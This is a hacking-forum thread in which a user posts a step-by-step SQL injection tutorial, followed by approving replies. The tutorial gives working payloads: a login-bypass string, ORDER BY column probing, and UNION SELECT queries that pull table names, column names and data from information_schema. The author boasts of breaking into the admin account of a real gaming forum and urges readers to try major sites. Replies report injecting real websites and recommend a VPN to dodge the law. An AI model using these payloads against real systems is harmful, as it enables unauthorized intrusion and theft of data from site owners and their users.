

Forum:[Hack Forums](#)

Thread: [\[Detailed\] SQL Injection Tutorial \[Explained\] \[SQLi\] \[GET\] \[POST\]](#)

Yorkiebar15 - August 16, 2014, 9:19 am

Welcome to my tutorial on how to gather database specific information through SQL Injection. I've seen a lot of people recently within the sub-forum who aren't sure how to append HTML (their name, more specifically) on to the end of the vulnerable column.

What Is SQL Injection?

SQL Injection is the use of a vulnerability found within the SQL language used on a website or server to handle the databases of information the server uses.

Code can be injected in various ways around the site, including PHP GET, or POST. Different codes can be injected in different ways to gather different information which can be used to gain more and more information about the site and/or it's users.

PHP GET/POST

What's the difference between PHP GET and PHP POST?

For a start, just in case you don't know what PHP is; PHP is the language used for the majority of websites which handles backend information such as File I/O (Input/Output), running SQL queries, and various other tasks.

PHP GET is a form of input information gathered for the URL of the page. The first parameter of a GET is preceeded by a question mark (?), while any additional parameters are preceeded by an ampersand (&). The text following the question mark or ampersand sets the key of the parameter, while a value following an equals sign (=) sets the value for the preceeding key. Here is an example;

Code `http://www.example.com/login.php`

The above example URL has NO GET information. Below is an example of one GET parameter which has a key of 'email' and sets the value of 'email' to 'test@gmail.com'.

Code `http://www.example.com/login.php?email=test@gmail.com`

And here is one final example of two GET parameters;

email with the value of 'test@gmail.com'.

username with the value of 'user'.

Code `http://www.example.com/login.php?email=test@gmail.com&username=user`

PHP POST is another form of information input, but instead of being in plain site of the URL of the given page, it is sent in the background which makes it slightly more secure, although POST information can be tampered with, but nowhere near as easily as the GET parameters of a site.

SQL Queries

Now that we know PHP GET information is input via the URL, we should have a look at how vulnerable SQL queries are created.

All information taken from the user should be filtered before execution. Vulnerable websites use raw, unfiltered user input to attempt the execution of certain SQL queries, here is an example;

Code `mysqli_query($con, "SELECT * FROM stories WHERE id=$_GET['id']);`

In the above example, a query is performed against the MySQLi database via the \$con connection object (this would be previously created). The query itself attempts to select all columns of information from the table 'stories' where the column 'id' has the value of '\$_GET['id']'.

For those of you who don't know how PHP works. The "\$_GET['id']" mentioned above, extracts the value of the GET parameter 'id' from the URL of the page, and slots it straight in to the query. Here is an example URL which would make the query select the story row with the column 'id' value of '7'.

Code `http://www.example.com/story.php?id=7`

Not only is the above query not filtered correctly, and is therefore unsecure. But the formatting of the query is also not correct which makes it even more vulnerable.

Vulnerability Testing

Now we need to test any sites to see if they are vulnerable to SQLi injection. We can test any page's GET parameters to see if they are vulnerable by adding an apostrophe (') to the end of the value of the URL and check if the page produces an error in one form or another. Example;

Code `http://www.example.com/login.php?id=7`

Would be changed to;

Code `http://www.example.com/login.php?id=7'`

If you see an example, such as below;

It means the site is vulnerable. If you don't see an error such as above, it doesn't mean the site ISN'T vulnerable, it means you may either need to test another GET parameter, find another page, or attempt a POST vulnerability test.

Now, for the POST vulnerability testing, we can try some login strings. Here is a simple login string; (There are many different ones, I will add a list to the bottom of the thread once I have finished writing it all!)

Code ' or '1=1

If you want to test the POST SQLi vulnerability of a website, you simply add the above code to one of the inputs (normally the password of a login page), and set the other required inputs to anything else (normally the username/email as 'admin') and attempt to login.

If you are successfully logged in, it means the site has no security on it's POST fields against SQL Injection either (very vulnerable!).

Here is a site I logged in to via the above string to an 'admin' account;

{Large image}

Spoiler ([Click to View](#))

Major Sites

I thought I would throw in this extra section just here as a motivational section.

No matter how secure you think a site is, there is always a chance that a vulnerability may surface itself in one place or another. Just because one page, one parameter, or one input field is filtered, it

doesn't mean ALL the pages/parameters/input fields on the site are filtered.

The above website where I managed to login to the 'admin' account via simple SQLi POST string Injection, is a professional, fairly large gaming forum. Twitter also had an XSS vulnerability in their Tweetdeck Twitter extension not so long ago either. Facebook's graph API is FULL of bugs. The list goes on, and on - always try!

ORDER BY

Going back to GET SQL Injection, we are now going to have a look at our next step towards gathering data; this is the 'ORDER BY' step.

'ORDER BY' is used within a MySQL(i) query to resort information returned from a 'SELECT FROM' query via the following information, for example;

Code ORDER BY `id`

Would order the returned information by the 'id' column values of the returned rows.

We can use our vulnerable GET parameters to get the amount of tables held within the site's database. First, remove the apostrophe (') from the URL you have successfully tested and found an SQL Injection vulnerability on.

Next, we want to go to the end of the URL and add the following code;

Code ORDER BY 10--

Full example;

Code `http://www.example.com/login.php?id=7 ORDER BY 10--`

Let's have a look at the code above. First, we have the full URL of the page we originally found. We then have our 'ORDER BY' clause followed by a number, in this case it's '10'. This means, we want to order the returned information from our GET statement by '10'. So, if the returned results are lower than 10, the page will fail to load correctly; and if the returned information is higher than 10, the page will load correctly.

I shouldn't need to explain this part, but the page will fail to load correctly if the returned results are lower than the 'ORDER BY' clause (10 in this case) because there is no 10th element in the returned information - therefore causing a crash within the system, and an error to be thrown by the PHP/MySQL(i) service.

The end of our new URL (--) simply comments out the rest of the original MySQL(i) query, therefore making our new code, the end of the original URL (this just stops any conflicting errors between our injection code, and the original query code).

Press enter to load the new page. If it loads correctly, increase the ending number until you get an error. If it fails to load correctly, such as the error below, decrease the number until you get the page to load normally.

We are looking for the highest number we can get, where the page still loads correctly. Therefore, this is how many tables are held within the websites database.

Table Names

Now that we have the amount of tables, we can now use a 'UNION SELECT' statement to get the

names of the tables. To do this, remove the 'ORDER BY' clause from the previous vulnerable URL, and replace it with 'UNION SELECT' followed by each number going from one (1) to the number of tables on your website's database, all separated by a comma (.). Then add a double dash (--) to the end of the URL again.

Code `http://www.example.com/login.php?id=-7 UNION SELECT 1,2,3,4,5,6,7,8--`

In the above example, our site loaded correctly up to 'ORDER BY 8' therefore telling us that there are eight (8) tables within the site's database. Therefore, we wrote one (1) up to eight (8) in the above 'UNION SELECT' statement URL.

Let's dissect the above URL now. First, we have 'UNION', this is used to combine two 'SELECT' statements together. After that, we 'SELECT' the amount of tables the site has. We don't know the table names yet, and so we can't write those directly in to the URL. However, the 'ORDER BY' clause only works if the amount of returned information is equal to or lower than the given number (integer) in the 'ORDER BY' clause - otherwise it is unfound, and an error is thrown.

This new 'UNION SELECT' query is similar to the 'ORDER BY' clause in terms of the amount of returned information, except in this case, the amount of returned information in our, second 'SELECT FROM' statement must be the exact same amount as the original URL's query - hence why we need the exact table count.

-We also add a dash (-) before the final GET value (after the last equals sign (=) within the URL).

Vulnerable Columns/Table Names

You should of noticed in the above 'UNION SELECT' URL query that there are now at least one of the given numbers showing up on your now loaded page. If there isn't one, have a look in the source code or title of the page.

Once you have found at least one showing number, this is the vulnerable number we will use to display the information we want to gather.

We are going to use the 'group_concat' function to group our returned information since it seems to display the information clearer than some other methods. So go ahead and throw this as a function in to our vulnerable column number.

Let's say that the number '3' shows up on our page, this is the number we will change to 'group_concat' to display our information...

Code `http://www.example.com/login.php?id=-7 UNION SELECT 1,2,group_concat(),4,5,6,7,8--`

Now, between the brackets, '()' after the 'group_concat' function we want to write the information we want to gather. First we need the table names, then we need the column names, followed by the field information. So write 'table_name' in there...

Code `http://www.example.com/login.php?id=-7 UNION SELECT 1,2,group_concat(table_name),4,5,6,7,8--`

Now we need to add the location where the query will gather the table_name information from. We want the table names from 'information_schema.tables' where the 'table_schema' is from the 'database()', like so...

Code `http://www.example.com/login.php?id=-7 UNION SELECT 1,2,group_concat(table_name),4,5,6,7,8 FROM information_schema.tables WHERE`

table_schema=database()--
Now we have some table names;

Column Names

Next we want to receive the column names from one of the table names given to us in the previous step. I will choose the 'events' table.

First, convert the table name to hex via another tool, I use the site;

Code <http://www.swingnote.com/tools/texttohex.php>
So I have the text as;
events

And the hex as;
6576656e7473

Now add '0x' to the front of the hex, like so;
0x6576656e7473

We will need this in a second.

Back to the URL. Now change the 'table_name' in the 'group_concat' function to 'column_name'. Change 'information_schema.tables' to 'information_schema.columns'. And, change 'WHERE table_schema=database()' to 'WHERE table_name={hex here}'.

Like so;

Code <http://www.example.com/login.php?id=-7> UNION SELECT
1,2,group_concat(column_name),4,5 FROM information_schema.columns WHERE
table_name=0x6576656e7473--

(The above image's tables go off the page).

INFORMATION

Sorry, I may of got a bit excited to see the end of this tutorial - I've been writing this for a LONG time now.

Anyway, we are now ready to get the information from the table. First, take note of the column names you want to get the information from, I will use;

EVENT_CATALOG
EVENT_SCHEMA

...I doubt these will be of any use, but hey, it's a tutorial for you, not for me :P

Next, we want to change;
'group_concat(column_name)' to 'group_concat({column name})'
'FROM...' to 'FROM {table_name as plain text}'

Like so;

Code `http://www.example.com/login.php?id=-7 UNION SELECT`

`1,2,group_concat(EVENT_CATALOG),4,5 FROM events--`

Ta da! We now have the information clearly displaying on the page. If you want multiple column name field values, we can separate them using a comma (,) within the 'group_concat' function, like so...

Code `group_concat(column1, column2)`

Hex

We can also throw hex in to the 'group_concat' function to display whatever text you like. We can use this separate our field names. '0x3a' is a colon, so we can separate all of our field values by a colon like so;

Code `group_concat(column1, 0x3a, column2)`

You can use this to add your own username. Simply convert your username to hex, add '0x' to the beginning of it, and throw it in to the 'group_concat' function. Of course, you can throw any hex straight in to the vulnerable column value ('3' in our case), but you can only display one value this way.

Code `http://www.example.com/login.php?id=-7 UNION SELECT 1,2,0x596f726b6965626172,4,5--`

The above displays my username 'Yorkiebar' on the page where the '3' displayed originally.

Information

We can also use pre-defined variables and functions to gather more information such as;

`@@version` or `version()` displays the MySQL(i) version running on the site.

`database()` displays the database name.

`hostname()` displays the hostname of the site.

`uname()` displays the username of the MySQL(i) service in use.

Testing

If you don't have any vulnerable websites to test this on, be sure to check out the challenges people are regularly posting within the SQLi sub-forum. found here;

[SQL Injection Attacks](#)

Alternatively, feel free to post some SQLi vulnerable sites in the replies to this thread so others can test this tutorial as they read it.

Parts

You can check out the second part of this tutorial which includes; WAFs (Security), String Injection, and more!

<https://hackforums.net/showthread.php?tid=4404116>

Credits

This tutorial has taken me a VERY long time to create. In one session. My neck hurts...

If you like this tutorial, please leave a reply to keep this thread alive.

Thanks!

~Yorkiebar15 - HF~

AURUM - August 16, 2014, 11:28 am

Cool! tbh I only read the part about injecting the name. But HQ thread nonetheless.

D4T4B4S3 - August 16, 2014, 1:57 pm

Big vouch for Yorkie, awesome and very detailed tutorial, nice job and keep it up ?

Advanced Nutrients - August 17, 2014, 5:48 pm

Awesome tutorial. Thank you! Any chance you could explain things such as WAFs? I really like the way you wrote your tutorial!

Yorkiebar15 - August 18, 2014, 6:17 am

(Aug 17, 2014 05:48 PM)cmd. Wrote: [\[CITE\]](#) Awesome tutorial. Thank you! Any chance you could explain things such as WAFs? I really like the way you wrote your tutorial!

Thanks for the positive feedback ?

I'm planning on getting L33t today, once it's approved I will have permission to edit my thread - I'll add security, bypasses, and other stuff.

ComputerManiac00 - August 18, 2014, 7:21 am

When I opened this tutorial, I thought:Omg another SQLi tutorial. But this one is awesome, but you can go deeper: WAF, Strig Based etc. ;-)

Yorkiebar15 - August 18, 2014, 7:44 am

(Aug 18, 2014 07:21 AM)ComputerManiac00 Wrote: [\[CITE\]](#) When I opened this tutorial, I thought:Omg another SQLi tutorial. But this one is awesome, but you can go deeper: WAF, Strig Based etc. ;-)

Haha, I was a bit worried about creating another tutorial of a topic where there seems to be so many good tutorials already, but thought it might help some people who have trouble understanding other tutorials :P

Thanks for the positive feedback & I'll be updating the thread with more topics once I've bought L33t membership.

ComputerManiac00 - August 18, 2014, 10:13 am

Yes, you can add some vulnerable sites where newbies can test newfounded skills ?

Advanced Nutrients - August 18, 2014, 2:27 pm

(Aug 18, 2014 10:13 AM)ComputerManiac00 Wrote: [\[CITE\]](#) Yes, you can add some vulnerable sites where newbies can test newfounded skills ?If you want to test out your skills and learn, check for easy SQLi challenges in the SQL Injection Attacks section.

Here are a few links:

<https://hackforums.net/showthread.php?tid=4379706>

<https://hackforums.net/showthread.php?tid=4380607>

<https://hackforums.net/showthread.php?tid=4308038>

<https://hackforums.net/showthread.php?tid=4071974>

Yorkiebar15 - August 18, 2014, 2:57 pm

(Aug 18, 2014 02:27 PM)cmd. Wrote: [\[CITE\]](#) If you want to test out your skills and learn, check for easy SQLi challenges in the SQL Injection Attacks section.

Good shout. Added challenges reference to the thread. ?

Sunnypay - August 18, 2014, 7:27 pm

Bookmarked for later. Definitely going to be a great read thanks for the tut OP.

Yorkiebar15 - August 19, 2014, 10:43 am

(Aug 18, 2014 07:27 PM)Sunnypay Wrote: [\[CITE\]](#) Bookmarked for later. Definitely going to be a great read thanks for the tut OP.

Thanks a lot! Part 2 coming soon with WAFs, Bypasses, String Injection, and more!

LocoJose - August 19, 2014, 10:45 am

(Aug 19, 2014 10:43 AM)Yorkiebar15 Wrote: [\[CITE\]](#) Thanks a lot! Part 2 coming soon with WAFs, Bypasses, String Injection, and more!
make a HQ thread, we already have good threads like that (and like this one) about basic and easy injection and explanaiton!

?

Yorkiebar15 - August 19, 2014, 11:22 am

Part 2 is finally uploaded. String Injection, and WAFs included with more content to be added soon. Link is at the bottom of the thread.

josiah - August 20, 2014, 2:10 am

Posting so I can check this out later ?

Thanks!

bar c0de - August 22, 2014, 2:12 pm

Saved this for when I dont have internet, looks like an amazing tutorial man.

Yorkiebar15 - August 22, 2014, 2:42 pm

(Aug 22, 2014 02:12 PM)Greek? Wrote: [\[CITE\]](#) Saved this for when I dont have internet, looks like an amazing tutorial man.

That's a good idea, I might start doing that with other threads :P
Thanks for the feedback.

errorcode200 - August 22, 2014, 5:22 pm

when i was trying to find sites to inject, i came across this site.... <http://theuselessweb.com>

how will i ever get those ten minutes of my life back?? T_T

Yorkiebar15 - August 23, 2014, 5:58 am

(Aug 22, 2014 05:22 PM)errorcode200 Wrote: [\[CITE\]](#) when i was trying to find sites to inject, i came across this site.... <http://theuselessweb.com>

how will i ever get those ten minutes of my life back?? T_T
Aha. I've found that site before in class, couldn't remember what it was though so thanks for the share ^_^

Zabuza? - August 24, 2014, 12:37 am

Great. Another one to add to the hundreds of tutorials on the internet. Thanks.

RengsBG - May 28, 2016, 9:52 pm

Awesome Tutorial, Thank u :)

darkcoder91 - May 29, 2016, 11:05 am

Good job, thanks 4 share

.....
.....
.....

Jesse Pinkman™ - May 29, 2016, 11:22 am

You shouldnt say that this is a POST SQLi tutorial when it clearly isn't. Practically nothing about POST SQLi is explained here..

mehran - May 30, 2016, 11:40 pm

Good job, thanks..... :)

Awesome Tutorial

54j1b - May 31, 2016, 2:54 am

Nice Tutorial :)

Thank You:)

aspergickid - December 28, 2017, 5:04 pm

Awesome tutorial, will help a lot of people

Khagans - February 2, 2018, 11:48 pm

Thanks for your interested sharing master

PaidOnlineSURveys - February 14, 2018, 11:27 am

really good tut, bookmarked!

aravindor - February 15, 2018, 4:22 am

Looks like a real nice tutorials for a beginner. Thanks for sharing.

D_MuLa - September 8, 2018, 9:33 pm

this guy's long gone but thanks anyway! injected my first website

RKKA - September 14, 2018, 12:36 pm

It works for HTTPS?

I tried but nothing happens, just the page get reloaded with the code added to the link but nothing in particular happens.

ic3cub - September 15, 2018, 6:48 am

Hello Yorkiesbar15. Can you please pm me as i don't have the privileges to do so. I want to talk with you a little bit. Thank you

HiddenEyE - September 15, 2018, 9:08 am

great tutorial but the get and post part seems confusing cause when i access "http://www.example.com/login.php" with my browser it is a GET request. and remember their must be a request.

EGuzzman - September 23, 2018, 12:15 pm

Awesome Tuto keep up the good work

CrystalFlare - November 9, 2018, 11:24 am

Very Well Explained thank you for this thread :)

Cassahav - November 16, 2018, 2:01 pm

Can I talk to you privately

markjohnson22343a - November 17, 2018, 5:43 am

Thanks for this great tutorial

Winds - November 17, 2018, 7:44 am

Thanks for the detailed tutorial, just make sure to use a VPN since SQL injections are illegal.

hacker1 - March 1, 2019, 2:56 am

cool tutorial ,can you put a tutorial about how to upload file for the sites with put http method active?

soldi3r - March 2, 2019, 4:26 am

Really great tutorial. Everything is very simple and detailed to understand. Thanks

davispark - March 4, 2019, 2:35 am

awesome dude good job